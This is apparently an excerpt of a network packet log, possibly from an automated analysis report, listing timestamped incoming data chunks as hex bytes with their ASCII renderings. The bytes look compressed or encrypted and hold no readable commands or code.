15 ee d9 1e d7 fd 13 7d ef ad 6f bc 36 fa 8a 68 b8 55 c3 44 1e 26 65 10 c0 82 3b 0a b4 6b 7d 24 64 20 40 97 2c 92 05 dc e0 b0 92 5b ea 72 ef 99 2d 3c be 75 f0 Data Ascii: 1i0c;-6oqG4,n\|E4 \|H;<zM<dp3M*sOFxw.><ncx6nfU^mw]}N?@Z=MBG@'^32g8WWy%taUV4O}o6hUD&e;k}$d @,[r-<u
2023-02-02 07:09:15 UTC	367	IN	Data Raw: 4b 74 4e 93 74 12 72 99 ce 10 89 93 cc 39 43 e5 bc 52 69 5e a7 cb 9c 30 e5 9c 21 73 d2 29 e7 4c 99 93 45 39 c3 44 bf 86 db 3c 5c d6 c9 a6 3a 67 f9 8d 45 39 5c eb 6c 59 2b 97 6a 8d 10 7d 1b ae 73 8e dd 36 ba 52 8d 73 6d bc 07 c5 cf 93 f2 88 f0 3c 46 da 1a 7d a8 c6 f9 36 de 9f e2 17 88 3e 0c cf e3 42 89 33 88 73 46 d9 f9 0c a5 f9 5c 64 e3 c3 28 7e b1 94 c7 08 9e c7 25 b6 c6 48 aa 31 5a f0 53 28 7e a9 7c 5d 47 53 ce 65 7e 6d 64 0c b7 e5 72 d1 5f e1 9c 31 12 67 1c e7 5c 21 71 26 70 ce 95 b1 f3 b9 c9 1c bf 4a f0 59 68 99 c6 da 78 11 c5 af b6 f1 69 14 bf 46 f4 53 b8 0d d7 4a 9c 19 9c 33 ce ce 67 16 cd 67 bc 8d cf a1 78 a1 df b5 99 cb f3 b9 ce d6 99 47 75 26 f8 fa 24 5c e7 7a a9 4c 8b 38 67 a2 e0 97 d0 bc 26 c9 6d 6e 29 e5 4c 96 f2 59 c6 f3 b9 41 d6 59 4e 75 6e Data Ascii: KtNtr9CRi^0!s)LE9D<\:gE9\lY+j}s6Rsm<F}6>B3sF\d(~%H1ZS(~\|]GSe~mdr_1g\!q&pJYhxiFSJ3ggxGu&$\zL8g&mn)LYAYNun
2023-02-02 07:09:15 UTC	375	IN	Data Raw: bb cf b3 82 7b 2f 6c fd 39 e1 4c c3 ef b1 4e 70 ff 85 ed 91 27 b8 ff c2 d6 9f 17 ce 32 fc 1e 2f 08 ee c1 b0 3d d6 0b ee c1 b0 f5 7c c1 3d 18 b6 fe a2 70 7e e1 cf b0 41 38 bf f0 99 8d c2 f9 85 cf 14 08 ee c7 b0 67 79 49 70 3f 86 ad bf 2c b8 1f c3 d6 37 89 ce 90 c0 9f a1 50 30 b7 b0 3d 5e 11 ce 2d 7c 8f 57 db 98 5b d8 3e 9b 05 73 0b 5b 2f 12 ed 93 c2 ef f3 9a 60 76 61 7b bc 2e ea 91 c6 f7 d8 62 ef 91 ce f6 28 6e 63 66 61 33 6f d8 7b 64 b2 f5 37 85 f3 0a 7f 8e ad 82 fb 30 6c 8f 12 7b 3d 87 ad bf 65 af e7 b2 f5 b7 ed f5 3c b6 be cd 5e cf 67 eb a5 f6 7a 01 5b 7f c7 5e 2f 64 eb ef da eb 45 6c 7d bb 60 1e 61 eb 65 e2 d7 a1 84 cd bc 67 ef 51 ca d6 df 17 cc 22 6c 7d 87 f0 fe 0a ff 3a 95 b7 f5 b3 67 17 9f fb 40 7c de 0a 76 bf 0f 85 b3 09 df 67 a7 f0 5e 0b 9f d9 25 Data Ascii: {/l9LNp'2/=\|=p~A8gyIp?,7P0=^-\|W[>s[/`va{.b(ncfa3o{d70l{=e<^gz[^/dEl}`aegQ"l}:g@\|vg^%
2023-02-02 07:09:15 UTC	383	IN	Data Raw: c8 a6 2b cc 3e df fb dc a0 99 57 fa fe 15 f4 6d e3 33 1d 72 80 e4 84 cf ad 9a b9 d7 09 7a d4 49 9f d9 f8 3b d4 59 12 d9 bd 0d 8f fa 97 1e d5 de bd 4f 33 9f e7 ce 3d ac 8c bf fb 0b cd d1 db f8 3b 88 57 f6 38 86 bb bf 44 e7 31 94 b9 da 5d ab 99 ef 9f 69 3d ac 3e 51 ee 3f 2f eb 3c ce dd 8c dd e7 d3 a3 c6 bb ff 85 2c 21 99 e5 be 0a af e6 53 24 b7 bb c7 e9 fc ab 7c 97 7b 1a d6 2f 7a 33 1d dd f7 b8 6f 31 6f 99 4b ef d2 a3 ee 75 df a6 f3 73 6f 8a 7b 9e 6e be 82 fb bc 19 e3 ef 32 ee 05 e8 53 43 8f 4a 37 84 df 6b b9 7b 31 1e f5 13 3d ea 51 f7 32 ec 25 05 b5 4a be b4 d2 14 f3 19 f3 4a aa 94 e5 7e 14 32 c8 90 d1 41 e6 a3 b2 dc ab 20 d3 48 56 1b 62 bd a6 a6 24 4b 6b 0c e1 77 5f e3 7e 01 72 5f 90 25 cf b8 37 42 1e 24 79 d6 5d 08 59 41 92 e7 7e 0d f2 24 c9 7a f7 9b 90 Data Ascii: +>Wm3rzI;YO3=;W8D1]i=>Q?/<,!S$\|{/z3o1oKuso{n2SCJ7k{1=Q2%JJ~2A HVb$Kkw_~r_%7B$y]YA~$z
2023-02-02 07:09:15 UTC	390	IN	Data Raw: 49 fe d4 0a 21 ff 92 9c d7 8a 20 9d 1e b1 a4 49 2b 86 0c 20 f9 4b 2b 81 44 91 fc ad 95 42 a6 93 5c d0 ca 20 77 93 34 6b e5 90 e5 24 ff 68 bb 20 b9 24 17 b5 0a c8 6b 24 97 b4 bd 90 0f 49 5a b4 4a c8 41 92 7f b5 2a c8 69 92 ff b4 6a c8 3f 24 92 5e 03 69 ff a8 25 0e bd 16 d2 8f c4 a9 d7 41 22 49 5c fa 09 c8 8d 24 3e fa 69 c8 9d 24 6e bd 1e b2 8c c4 57 6f 80 e4 90 78 f4 46 c8 2b 24 7e 7a 13 e4 7d 12 59 6f 86 1c 20 51 f4 16 c8 09 12 55 77 84 9a f2 17 89 a6 bb 21 ea 0a 4b 74 5d 86 f4 26 69 a7 eb 90 08 92 f6 ba 3f e4 7a 92 0e 7a 00 e4 0e 12 7f 3d 10 b2 84 a4 a3 1e 04 c9 26 e9 a4 07 43 5e 22 e9 ac 87 40 de 25 09 d0 43 21 fb 49 ba e8 61 90 3a 92 ae 7a 38 e4 0f 92 6e 7a 04 c4 93 69 49 a0 1e 09 e9 41 d2 5d 8f 82 84 93 5c a1 47 43 ae 23 e9 a1 4f 82 dc 46 12 a4 c7 40 Data Ascii: I! I+ K+DB\ w4k$h $k$IZJA*ij?$^i%A"I\$>i$nWoxF+$~z}Yo QUw!Kt]&i?zz=&C^"@%C!Ia:z8nziIA]\GC#OF@
2023-02-02 07:09:15 UTC	398	IN	Data Raw: 33 29 dd cd 74 48 26 e5 46 33 13 b2 86 72 93 99 05 79 83 12 62 66 43 3e a0 f4 30 73 20 35 94 9e 66 2e e4 5b 4a 2f 33 0f f2 17 25 d4 5c 0b f1 7c 2f a5 b7 99 0f 09 a6 f4 31 0b 20 83 29 7d cd 42 c8 38 4a 98 59 04 79 80 d2 cf 2c 86 a4 53 fa 9b 25 90 67 28 03 cc 52 c8 eb 94 70 b3 0c b2 9d 32 d0 2c 87 54 53 6e 36 2b 20 67 29 83 cc 4a c8 45 4a 84 b9 0f a2 d7 4b 19 6c 56 41 3a 53 86 98 d5 90 81 94 a1 66 0d e4 76 4a a4 79 0c 32 8d 72 8b 59 0b 49 a3 0c 33 eb 20 4f 53 6e 35 cf 40 5e a5 44 99 e7 21 ef 53 86 9b f5 90 2a ca 08 b3 01 f2 15 65 a4 d9 08 f9 8d 12 6d 36 41 5a fd 20 65 94 79 19 12 44 19 6d ba 06 db d2 8f 72 9b e9 03 19 4d 89 31 fd 20 77 53 c6 98 6e 48 2a e5 76 d3 80 3c 45 b9 c3 f4 87 ac a3 c4 9a 01 90 77 28 63 cd 40 c8 3e ca 38 33 08 72 82 32 de ec 0c f9 85 Data Ascii: 3)tH&F3rybfC>0s 5f.[J/3%\\|/1 )}B8JYy,S%g(Rp2,TSn6+ g)JEJKlVA:SfvJy2rYI3 OSn5@^D!Sem6AZ eyDmrM1 wSnHv<Ew(c@>83r2
2023-02-02 07:09:15 UTC	406	IN	Data Raw: 1c 70 ce 37 5f e5 d4 01 79 7d fe ce fb 3a 31 12 45 5d 87 39 86 1e 74 ce 5a 5f 65 f4 41 67 aa 78 b2 14 d5 15 53 5f 3e 28 b7 e0 0d 51 c3 61 8d 5e b3 14 e5 90 4b 89 85 8d 3a 24 cf da 38 51 93 61 eb 0e 39 5b 6a 28 1b 45 dd 8f 25 ff 2a 6a 4e 1c ee 6f d5 72 b4 0f 16 95 1e 67 5f 63 97 88 a7 91 ed 71 f8 9e 41 58 05 e6 d8 5f ed 98 18 71 9f ba 94 bb 26 d8 eb 5d 2d 2a 61 82 fd ba 88 c3 ce 3e 70 29 23 0f cb 6b d3 b8 c3 f2 da 34 45 d4 c6 09 b6 e5 1f 96 df 77 6e 10 b5 1b f3 be 7d 58 9e 8d 3b 58 fb 0e cb fb cc 67 87 e5 dd fe a4 a8 bd 98 a3 f0 33 f9 ba 2d 9f 39 66 29 db 44 9d c7 d4 f0 1a b9 2d b7 d6 c8 6d b9 bd 46 6e cb 44 51 57 dd 89 b1 5b 23 3f 23 be 56 23 b7 ea cd 1a 79 8d dd ca aa ac 71 8e 8c 18 bb 35 ce b1 0c 52 be e0 1c 67 6b e4 28 6e a0 5d aa 71 ee 15 e2 ce 77 44 Data Ascii: p7_y}:1E]9tZ_eAgxS_>(Qa^K:$8Qa9[j(E%jNorg_cqAX_q&]-a>p)#k4Ewn}X;Xg3-9f)D-mFnDQW[#?#V#yq5Rgk(n]qwD
2023-02-02 07:09:15 UTC	414	IN	Data Raw: d0 33 e9 28 8a fa d0 d2 39 94 48 ba 89 32 48 8f 50 90 f4 16 35 90 be a3 36 52 8c 8b dc 2f a5 c4 68 a8 94 06 4d 92 b2 a1 65 52 7e b4 5b 2a 81 4e 48 15 d1 65 a9 36 7a 2b 35 41 e6 23 4b ed 51 4a a9 27 ca 2e 0d 41 05 a5 71 28 44 9a 89 1a 4b 4b d0 40 69 1d 9a 23 ed 44 ab a4 c3 e8 ae 74 06 7d 92 ae a1 84 8f 2d 85 a3 34 d2 2b 14 20 7d 45 75 a4 a8 97 d8 5f 29 01 0a 95 52 a2 65 52 16 b4 49 ca 8b fe 90 8a a2 4b 52 39 f4 4c aa 81 bc 9f 58 fa 15 c5 93 da a0 d4 52 37 54 4c 1a 88 6a 4a a3 51 13 69 1a ea 2e 2d 44 33 a4 d5 68 8d b4 0d ed 92 0e a0 a3 d2 5f e8 a6 74 19 3d 91 ee a2 ef d2 73 14 eb a9 a5 4f e8 67 c9 e7 32 e7 a0 14 17 15 97 92 a1 c6 52 46 d4 5d ca 85 e6 48 85 d0 56 29 18 1d 94 42 d0 2d a9 01 7a 23 b5 44 c6 33 4b 9d 51 3a a9 1f 0a 94 46 a0 f2 d2 64 54 4f 9a 87 Data Ascii: 3(9H2HP56R/hMeR~[*NHe6z+5A#KQJ'.Aq(DKK@i#Dt}-4+ }Eu_)ReRIKR9LXR7TLjJQi.-D3h_t=sOg2RF]HV)B-z#D3KQ:FdTO
2023-02-02 07:09:15 UTC	422	IN	Data Raw: 43 31 66 ab ff 90 9f b4 0c 15 95 36 a2 6a d2 5e d4 42 fa 1b f5 96 6e a0 e1 d2 23 6b 55 d2 3b 6b 55 92 19 c8 aa a4 d8 e8 94 f4 33 ba 26 65 44 0f a5 dc e8 ab 54 04 c5 9c 63 a9 1c 4a 2d d5 44 85 a4 df 50 15 a9 3d 6a 2a f5 42 9d a5 61 68 98 34 11 4d 91 e6 a2 8d d2 4a b4 4f da 82 4e 4a 7f a0 9b d2 5f c8 98 6b e9 0a 8a 2d dd 47 69 a5 57 c8 5f fa d7 5a 8b 14 bd 90 b7 51 56 4a 8c 1a 48 69 51 6b 29 07 ea 23 15 44 63 a5 d2 68 be 14 82 b6 49 0d d1 21 a9 35 ba 2c 75 43 f7 a5 41 e8 b5 34 16 7d 97 66 a2 84 f3 2c 2d 45 69 a4 0d 28 87 b4 07 05 4a c7 50 65 e9 02 aa 2f fd 83 5a 49 cf 50 37 e9 13 1a 29 fd 54 98 2b 8d 14 1f 2d 96 52 a2 f5 52 56 74 48 fa 05 fd 2d 95 40 1f a4 4a c8 67 be a5 ba c8 57 6a 8e 32 4a bf a3 3c 52 3f 54 4c 1a 89 aa 4b 53 51 5b 69 21 1a 22 ad 41 13 a4 Data Ascii: C1f6j^Bn#kU;kU3&eDTcJ-DP=j*Bah4MJONJ_k-GiW_ZQVJHiQk)#DchI!5,uCA4}f,-Ei(JPe/ZIP7)T+-RRVtH-@JgWj2J<R?TLKSQ[i!"A
2023-02-02 07:09:15 UTC	429	IN	Data Raw: e6 6c e5 27 fa 91 98 b3 95 9f 18 42 62 8e ea bd c4 08 12 73 54 ef 25 c6 92 98 e3 73 6f 31 9e c4 1c 9f 7b 8b 29 24 e6 2c dc 47 4c 23 31 67 e1 3e 62 36 89 b9 72 f0 17 4b 49 cc 95 83 bf 18 f7 09 ca fb 70 56 ff 86 b3 fa 9a 98 40 72 00 44 7a 96 49 32 89 b9 2a 78 5d 4c 25 31 57 05 af 8b 59 24 e6 0a a4 af 98 fb 29 8a b9 02 e9 2b 56 90 98 2b 90 00 b1 8a c4 5c 81 04 88 5c 36 ca f7 50 7b 4b a8 bd 9f a8 91 fc 32 1b 57 44 fd 45 17 12 73 6e 1a 20 e6 90 98 73 d3 00 b1 88 c4 1c 9f 03 45 ee 20 8a 39 3e 07 8a 11 24 e6 d8 3b 50 8c 27 31 c7 de 81 22 f7 19 8a 39 c7 0d 12 9d 49 cc 39 6e 90 e8 41 62 ce 71 83 45 1f 12 73 8e 1b 2c 06 92 98 73 5c 90 58 4a 62 ce 71 41 62 15 89 39 c7 0d 11 c3 0f a1 98 73 dc 10 31 96 c4 9c bf 86 8a 89 24 e6 fc 35 54 4c 37 85 e6 c1 61 62 36 89 39 0f Data Ascii: l'BbsT%so1{)$,GL#1g>b6rKIpV@rDzI2*x]L%1WY$)+V+\\6P{K2WDEsn sE 9>$;P'1"9I9nAbqEs,s\XJbqAb9s1$5TL7ab69
2023-02-02 07:09:15 UTC	437	IN	Data Raw: 4f 52 ac a4 37 e8 bd 67 95 1c ea ab 4b a8 ae b3 4a 3e c9 06 90 27 01 4c 0a 49 f6 1e c4 b7 59 9d 55 4a 49 f2 0e e2 ee ef ac 52 d5 a0 3d 67 95 80 91 58 fb 46 b8 16 fb 8c 3c 21 24 db 49 4a 94 c8 91 d6 f6 9c 53 e2 46 62 e6 ab d4 9e 73 4a 22 c9 a3 83 38 3b 9c 53 92 47 5a eb 3a a7 54 52 e6 7d d9 b8 1a 3c a7 b0 d7 19 32 29 a8 17 97 90 86 75 79 86 60 e6 f6 9f 99 75 f9 90 f4 f8 cc ac cb 2f a4 61 5d 29 94 b9 2c 1b 77 fd e7 94 ec 06 99 cf 2b 05 94 27 82 32 9f 57 8a 49 de a6 cc e7 95 d2 06 99 cf 2b de a3 30 f3 5d ca 7c 5e 09 1c 65 cd 7c 41 09 1b 85 79 76 53 e6 0b 4a 24 49 2e 65 be a0 44 8f b2 66 be a0 14 52 e6 3a c8 7c 25 80 49 45 83 cc bf 2b b5 94 e7 0f ca fc bb 22 8d 46 f9 8b 32 ff ae 38 8d b6 66 fe 5d 89 18 8d 99 d5 83 98 f9 77 25 7e b4 35 f3 25 25 85 f2 b4 3b 84 Data Ascii: OR7gKJ>'LIYUJIR=gXF<!$IJSFbsJ"8;SGZ:TR}<2)uy`u/a]),w+'2WI+0]\|^e\|AyvSJ$I.eDfR:\|%IE+"F28f]w%~5%%;
2023-02-02 07:09:15 UTC	445	IN	Data Raw: dc 31 ae 82 b5 a5 25 ac 3f 8a e8 fb 8b 75 16 96 0d 69 72 11 2f 10 55 ac bc c4 e4 94 7b 05 e4 33 06 ae 5c 34 d1 bb 06 e5 58 3c 5e cb d8 c5 12 92 9e 33 f0 dc ed 25 c6 fc ca af 87 ed c4 c4 5f 71 65 db 7e 13 d7 c3 76 62 32 c9 7b 20 1d 66 30 49 fd d5 2a 9d 5d f9 b6 13 6d 97 f9 7c bc 45 9f cb 98 aa 92 f2 f1 16 fd 49 fe 00 e9 3e 83 49 a0 21 5b 85 ba 5b f8 2b 5a 6f 31 98 e4 1e 48 cf 99 b0 37 16 e3 6b 51 3a dd 86 f3 20 88 8f 98 f6 3b ca a3 20 63 41 3a 89 c5 57 51 46 83 cc 03 f1 15 4b ea 50 66 81 a4 82 74 11 8b fe 40 49 06 f9 00 c4 4f 2c 27 c9 02 f9 14 a4 bb 58 4b 72 04 a4 1c c4 5f ac bc 66 b4 4b 28 07 b9 00 d2 53 0c be 8e f2 c3 6d fc 95 4d 80 18 4e 72 99 a4 b7 e8 b8 81 72 03 e4 fe 59 82 10 28 6a 7f a2 68 8d 6e 42 27 90 47 44 ef bf b0 ac 3e 8d f8 dd 9c 20 d1 8f 24 Data Ascii: 1%?uir/U{3\4X<^3%_qe~vb2{ f0I*]m\|EI>I![[+Zo1H7kQ: ; cA:WQFKPft@IO,'XKr_fK(SmMNrrY(jhnB'GD> $
2023-02-02 07:09:15 UTC	453	IN	Data Raw: 85 24 c3 40 f2 0c c9 5b 87 f2 1c c8 41 90 9f e4 02 12 07 c8 11 43 1c eb 51 36 83 14 83 5c 94 53 48 de 03 f9 c4 90 f0 74 be ce d5 72 4c 3a f5 73 30 d6 b9 5a 8e 27 f9 09 e4 b3 d5 4c 12 d3 31 9f 9e 8f e1 08 56 cb 0e 92 c1 8f e1 08 56 cb 69 e9 7c bb 7e 96 ab 9b 95 f5 b3 dc 40 39 47 3d 86 65 fd 2c 0b 1b 50 66 80 5c 5e cd c4 66 c8 56 e3 7d 56 b7 0d 49 d8 80 65 8d 18 e8 2e fc 63 48 92 21 ab 6c 51 20 f7 ad 61 92 46 31 53 07 e2 d9 e1 17 d9 bc db 6c ce 67 4b cc 5d ca 25 92 d3 b2 b9 27 a9 71 8a f9 3f 8e 1a 39 71 23 1e 29 2c 15 bb f7 0e 31 af 61 59 f1 54 d6 65 d9 f6 1a d6 e7 95 81 b8 af bb 2c 7b 53 cc 62 8a f9 4d f6 a5 98 b5 14 f3 9b 1c 48 31 ce 5f 1c c8 d5 9b ac 23 d7 f8 c5 81 1c fc 3a ae 24 99 03 f1 0c 52 2b 6b 9b 51 76 93 fc 2e 57 92 bc 49 ff 2b b9 22 d7 92 7c e8 Data Ascii: $@[ACQ6\SHtrL:s0Z'L1VVi\|~@9G=e,Pf\^fV}VIe.cH!lQ aF1SlgK]%'q?9q#),1aYTe,{SbMH1_#:$R+kQv.WI+"\|
2023-02-02 07:09:15 UTC	461	IN	Data Raw: 69 38 eb c2 f4 84 fb 51 9e 00 f9 13 62 86 ea 65 2d 51 46 4c c3 3a 0f d3 4b 6d 28 51 20 b7 73 98 d4 91 4c 9d 86 bf bb 19 a6 6b 9e 28 33 41 92 14 26 c1 24 f3 41 ee 1a a9 62 48 52 a6 e1 5b dd 86 e9 c9 24 eb 41 dc 76 0b c2 70 3d c7 93 7f ee 34 5c 2f 69 85 4f 99 6e 9d 86 f3 30 5c 2f 23 39 00 d2 72 37 93 0a 92 92 69 b8 02 84 eb d5 24 df 82 ac eb c9 24 c5 d7 fa 7f 25 eb d5 70 dd a3 33 ff df c9 11 ba 77 67 fc 5f e4 37 d3 e9 8e b4 ee 47 f2 1b 88 bc 9b 89 79 25 ce 7e bb c4 da 35 42 af 37 ca c2 f7 59 79 1b 31 8d 24 ec 7d 56 6c 4d 18 a1 db 44 94 1e 2f 61 8f 3d ad 6b 24 03 5f c2 de 78 5a f7 35 c4 fa 0f f8 48 dd 21 f2 bd 31 52 4f 17 e9 99 db 97 e8 4b 82 7a 16 c9 0b 20 9d 76 33 c9 c1 9c 05 f6 be ca c1 86 f8 49 c6 ef 5c 6c 66 9d 47 e9 fe 86 e0 7b 2f 23 77 33 09 91 f8 67 Data Ascii: i8Qbe-QFL:Km(Q sLk(3A&$AbHR[$Avp=4\/iOn0\/#9r7i$$%p3wg_7Gy%~5B7Yy1$}VlMD/a=k$_xZ5H!1ROKz v3I\lfG{/#w3g
2023-02-02 07:09:15 UTC	469	IN	Data Raw: 1b a5 05 95 9f 51 d9 a4 b6 9d 7d 16 f5 6c b3 45 cd 56 ce a2 3e ca 5b d4 48 ed 2c f2 f9 b5 65 96 f1 39 b8 45 8d 31 cb 3e 54 36 d5 e2 12 67 96 c1 b3 8d cf c1 2d 6a a2 59 22 67 1b 8f 67 8b 9a 62 96 2b ac 92 6e 96 91 b3 8d 9f 27 da a2 e6 98 65 cc 6c e3 bb 67 b7 a8 05 66 c9 b3 a6 8a cd f2 aa 55 bc 66 99 69 95 0a b3 7c 61 3d 9e 6a b3 34 5a 6b ea cc b2 d1 2a 0d 66 d9 6d 95 16 b3 9c f2 61 b0 b4 9b 45 b7 4a 97 59 2e b3 4a c0 2c 37 5a a5 cf 2c f7 5b 25 d4 69 94 5c ab 68 66 79 c9 2a 51 66 79 d7 2a b1 66 99 6f 95 04 b3 34 58 25 d9 2c bf 58 25 cd 2c bb ac 92 69 96 13 56 c9 31 8b 56 19 2c f9 66 b9 d8 2a 45 66 19 61 95 52 b3 dc 6b 95 72 b3 e4 58 a5 ca 2c 2f 58 a5 d6 2c 6f 59 c5 67 96 ff 59 a5 d9 2c 3e ab b4 99 65 6d 65 f0 6a f1 9b e5 37 54 3a c9 75 d8 67 96 a3 95 c6 4f Data Ascii: Q}lEV>[H,e9E1>T6g-jY"ggb+n'elgfUfi\|a=j4ZkfmaEJY.J,7Z,[%i\hfyQfyfo4X%,X%,iV1V,fEfaRkrX,/X,oYgY,>emej7T:ugO
2023-02-02 07:09:15 UTC	476	IN	Data Raw: 71 2a 28 07 7f fd ab c2 d5 0d 9c ad 9b ec 35 d0 e9 95 3a 7f 91 a9 b0 52 db 39 80 ca 2c ce 99 ed 8a 2c a5 9d d9 94 73 ea 66 5c e2 80 13 b6 d9 5e 03 9d 44 a9 73 0e 99 4a 03 ce 05 a8 7c c8 39 95 ae 2c c6 a9 a4 9c 2b 37 e3 92 0f 9c 6b 37 db 6b a0 53 24 75 6e 25 53 65 c0 b9 1b 95 8f 38 67 8e ab 8a 71 e6 50 0e 7e 1f 7b 8e ab 1e 38 0f 6d b6 d7 40 a7 51 ea 3c 4d a6 da 81 33 19 95 b9 9c 53 e5 f2 33 4e 15 f7 7c 58 e5 ea 03 ce 8c cd f6 1a e8 84 4e 93 39 f8 ef 41 57 b9 22 a7 d9 ce 6c 81 13 2b 75 f0 f7 9d 56 b9 92 80 53 83 9c 8f 39 e7 13 57 1a e3 7c 42 39 8b 37 e3 92 0d 9c 1f 36 db 6b a0 93 27 75 5a c9 54 31 70 36 08 1c af d4 f9 8d 4c 55 01 67 37 2a ff e3 9c 6a 57 1d e3 54 53 ce f1 cd b8 34 03 67 70 87 c3 31 8f 73 6a 5c ed 8c 53 43 7f 9e ae c0 a5 1b 38 3a 72 be e0 9c Data Ascii: q(5:R9,,sf\^DsJ\|9,+7k7kS$un%Se8gqP~{8m@Q<M3S3N\|XN9AW"l+uVS9W\|B976k'uZT1p6LUg7jWTS4gp1sj\SC8:r
2023-02-02 07:09:15 UTC	484	IN	Data Raw: 81 b3 57 e0 24 4b 1d e3 b8 32 80 73 42 e0 64 4b 1d e3 e3 55 00 9c 21 83 4e ee 94 48 1d fc 7d 3b 61 11 15 c0 f9 87 c0 a9 96 3a 97 90 29 1f 70 ae 10 38 cd 52 27 89 4c 75 00 e7 16 81 e3 97 3a a3 c8 54 1f 70 c6 0a 9c d0 b6 bf 77 22 db 6c 67 bc c0 89 91 3a f8 eb 95 61 11 89 c0 99 2c 70 52 a4 8e f1 f9 95 09 9c 37 04 4e 6e 3f 1e 4f 11 70 de 17 38 a5 fd 70 2a 81 f3 89 c0 a9 91 3a 5f 91 a9 06 e0 2c 41 e5 2c ce 51 22 5a 19 47 a1 9c b5 68 4a 89 e8 02 ce 66 52 78 a7 47 ea fc 45 a6 42 7f b1 9d 23 02 47 ff 45 e6 9c 35 18 4f c5 02 c7 33 f8 e4 4e a2 d4 b9 94 4c a5 01 e7 2a 81 93 25 75 6e 21 53 f9 c0 b9 4f e0 14 4b 9d 27 c8 54 39 70 9e 13 38 d5 52 67 3a 99 f2 01 67 96 c0 69 91 3a 5f 91 a9 4e e0 34 08 9c 80 d4 f9 85 4c 85 ac b7 9d 6d 02 47 5b 2f 73 f6 92 a9 18 e0 9c 10 38 Data Ascii: W$K2sBdKU!NH};a:)p8R'Lu:Tpw"lg:a,pR7Nn?Op8p:_,A,Q"ZGhJfRxGEB#GE5O3NL%un!SOK'T9p8Rg:gi:_N4LmG[/s8
2023-02-02 07:09:15 UTC	492	IN	Data Raw: e9 13 9c 23 b0 82 a2 07 9c d0 89 ae 90 c3 c4 e9 d7 23 74 d1 e9 27 4e bf ee 43 ce 68 70 8e 10 67 40 8f 97 9c 01 f1 75 dd b9 ac a4 20 27 06 9c 81 20 4e ba d2 39 9f af 72 90 33 6d 22 fb eb 9c b2 13 ea 29 94 9c 50 0f 76 6e 82 55 a8 a7 0c 39 0b 78 a1 4e 95 d2 b9 9f af ea 91 f3 88 83 d3 a4 74 d8 f7 9a 42 3d 6d c8 f9 a7 83 d3 a9 74 6a f9 aa 0f 39 af 3b 38 21 1e 95 c3 fe be 5f a8 27 d2 13 70 b6 39 38 86 d2 f9 88 af e2 91 f3 19 94 e3 89 33 dc 93 2c 39 c3 05 e7 3b 58 0d f7 64 20 a7 17 4a 18 71 46 78 72 24 67 84 e0 b0 df 0b 18 e1 29 44 ce b1 89 ae c1 d3 60 a7 44 e9 cc e7 4e 25 72 46 5e e0 0a 39 91 38 e1 9e 5a c9 09 27 d7 73 b8 a7 09 39 5e 70 4e 22 ce 48 4f 8b e4 8c 14 1c 76 5c 62 a4 a7 13 39 67 83 33 32 88 d3 a3 74 1e fd 96 17 6f c0 99 04 4e 04 71 46 79 22 bc a2 33 Data Ascii: ##t'NChpg@u ' N9r3m")PvnU9xNtB=mtj9;8!_'p983,9;Xd JqFxr$g)D`DN%rF^98Z's9^pN"HOv\b9g32toNqFy"3
2023-02-02 07:09:15 UTC	500	IN	Data Raw: 08 39 e7 43 f9 88 38 bb cc 32 c9 d9 25 38 97 c3 6a 97 59 8d 9c 6b 79 a1 4e 9d d2 f9 3b 5f f9 91 73 17 94 8f 89 d3 66 b6 4a 4e 9b e0 3c 0c ab 36 b3 0b 39 4f 40 f9 84 38 bb cd 3e c9 d9 2d 38 2f c0 6a b7 19 76 73 c0 a9 e3 85 3a 91 37 ab 9c f7 f9 2a 06 39 1d 50 da 89 b3 c7 4c 90 9c 3d e4 fc ec 31 53 91 f3 1b 2f d4 c9 50 3a 11 f3 d8 2a 17 39 3a 94 2f 88 d3 69 16 49 4e a7 78 5c 02 56 9d 66 39 72 2e 82 f2 35 71 ba cc 6a c9 e9 22 4e 97 d9 80 9c 19 50 f6 11 a7 db 6c 96 9c 6e c1 f9 1b ac ba cd 0e e4 dc 05 e5 00 71 0e 9a bd 92 73 50 70 1e 83 d5 41 33 34 3b e0 3c c3 0b 75 22 b2 55 ce 2b 7c e5 43 4e bd 83 13 a7 74 de e3 ab 64 e4 7c 08 e5 07 e2 f4 9a e9 92 d3 4b ce 4f af 99 83 9c cf 79 a1 4e be d2 79 8f af 4a 90 b3 1f ca 8f c4 39 64 56 48 ce 21 c1 39 02 ab 43 66 2d 72 Data Ascii: 9C82%8jYkyN;_sfJN<69O@8>-8/jvs:79PL=1S/P:9:/iINx\Vf9r.5qj"NPlnqsPpA34;<u"U+\|CNtd\|KOyNyJ9dVH!9Cf-r
2023-02-02 07:09:15 UTC	508	IN	Data Raw: 46 b0 7c 24 70 76 06 46 b9 38 3b 1d 9c 1d 10 6b 67 a0 80 70 76 82 e5 53 81 f3 59 a0 d8 c5 f9 4c 18 7f 3e 0b 94 11 ce 1e e0 fc 5d e0 7c 19 a8 72 71 be 74 70 ee 2e 45 cb 16 c2 69 fb 30 cc 8e 02 a7 29 50 ef e2 34 39 38 87 41 ac a6 c0 2e c2 e9 05 96 7f 0a 9c af 03 fb 5c 9c af 85 f1 f9 eb 40 f2 d3 36 a7 2f 70 be 0e c3 e9 f6 74 64 4e 2a e1 9c 2f e1 f4 55 72 70 fc f9 3a 90 45 38 97 4b 38 c3 3c 70 f2 08 e7 7a 09 67 9c 07 4e 31 e1 e4 49 38 f3 3d 70 2a 08 e7 5e 09 a7 da 03 a7 8e 70 a6 4a 38 3b 3c 70 9a 08 67 8e 84 b3 cf 03 27 79 85 cd 29 93 b5 9f 15 2a ce 4a 33 56 2a e1 3c 27 e1 64 28 39 2c 3d 43 08 e7 35 09 27 47 c9 79 d7 8c 35 96 70 1a c1 f2 9d c0 d9 17 98 e6 e2 ec 73 70 7e 81 58 fb 02 a5 84 73 d0 0c 5d 6b 16 38 9a 51 e9 e2 68 06 e5 f4 86 58 9a 51 4b 38 27 9a 16 Data Ascii: F\|$pvF8;kgpvSYL>]\|rqtp.Ei0)P498A.\@6/ptdN/Urp:E8K8<pzgN1I8=p^pJ8;<pg'y)J3V<'d(9,=C5'Gy5psp~Xs]k8QhXQK8'
